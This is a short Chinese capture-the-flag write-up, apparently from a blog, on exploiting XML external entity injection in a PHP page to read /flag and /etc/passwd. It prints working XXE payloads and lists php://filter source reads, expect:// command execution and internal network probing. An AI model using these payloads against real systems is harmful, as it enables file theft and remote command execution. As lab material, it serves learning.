4、PHP的xml注入漏洞(xxe)

青少年ctf:PHP的XXE

1、打开网页是一个PHP版本页面

2、CTRL+f搜索xml,发现2.8.0版本,含有xml漏洞

3、bp抓包

4、使用代码出发bug

html 复制代码
GET /simplexml_load_string.php HTTP/1.1

补充:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>


/* 
1.读取任意文件
file 协议,file:///etc//passwd
php 协议,php://filter/read=convert.base64-encode/resource=index.php
2.执行系统命令
PHP环境中PHP的expect模块被加载
expect://ipconfig
3.内网探测
http://192.168.0.128:80
参见:https://xz.aliyun.com/t/3357#toc-11
*/

5、在触发bug的包下面加上,获取flag

XML 复制代码
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>

6、查看其他文件etc/passwd

拓展内容:一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

相关推荐
天道有情战天下1 小时前
python flask
开发语言·python·flask
帅弟1502 小时前
Day4 C语言与画面显示练习
c语言·开发语言
qhs15732 小时前
Kotlin字符串操作在Android开发中的应用示例
android·开发语言·kotlin
Stack Overflow?Tan903 小时前
c++实现在同一台主机两个程序实现实时通信
开发语言·c++
MZWeiei3 小时前
Scala:case class(通俗易懂版)
开发语言·后端·scala
闯闯桑3 小时前
scala 中的@BeanProperty
大数据·开发语言·scala
计算机老学长3 小时前
基于Python的商品销量的数据分析及推荐系统
开发语言·python·数据分析
MZWeiei3 小时前
scala有关 类 的知识点与Java的比较
开发语言·scala
&白帝&3 小时前
Java @PathVariable获取路径参数
java·开发语言·python